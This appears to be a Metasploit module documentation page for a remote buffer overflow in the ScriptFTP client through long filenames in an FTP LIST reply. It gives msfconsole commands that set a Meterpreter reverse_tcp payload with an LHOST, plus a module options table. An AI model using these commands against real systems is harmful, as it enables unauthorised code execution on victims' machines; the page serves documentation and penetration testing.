ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)
AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow vulnerability that is triggered when processing a sufficiently long filename during a FTP LIST command resulting in overwriting the exception handler. Social engineering of executing a specially crafted ftp file by double click will result in connecting to our malcious server and perform arbitrary code execution which allows the attacker to gain the same rights as the user running ScriptFTP.
Exploit Rank
- Good
Exploit Authors
- modpr0be < >
- TecR0c < roccogiovannicalvi [at] gmail.com >
- mr_me < steventhomasseeley [at] gmail.com >
Vulnerability References
Exploit Targets
- 0 - Windows XP SP3 / Windows Vista (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/ftp/32bitftp_list_reply
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- exploit/windows/ftp/easyftp_list_fixret
Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/ftp/scriptftp_list
msf exploit(scriptftp_list) > show payloads
msf exploit(scriptftp_list) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(scriptftp_list) > set LHOST [MY IP ADDRESS]
msf exploit(scriptftp_list) > exploit
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msf > use exploit/windows/ftp/scriptftp_list
msf exploit(scriptftp_list) > show payloads
msf exploit(scriptftp_list) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(scriptftp_list) > set LHOST [MY IP ADDRESS]
msf exploit(scriptftp_list) > exploit
Exploit Module Options
| FILENAME | The file name. (default: msf.ftp) |
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The local port to listen on. (default: 21) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
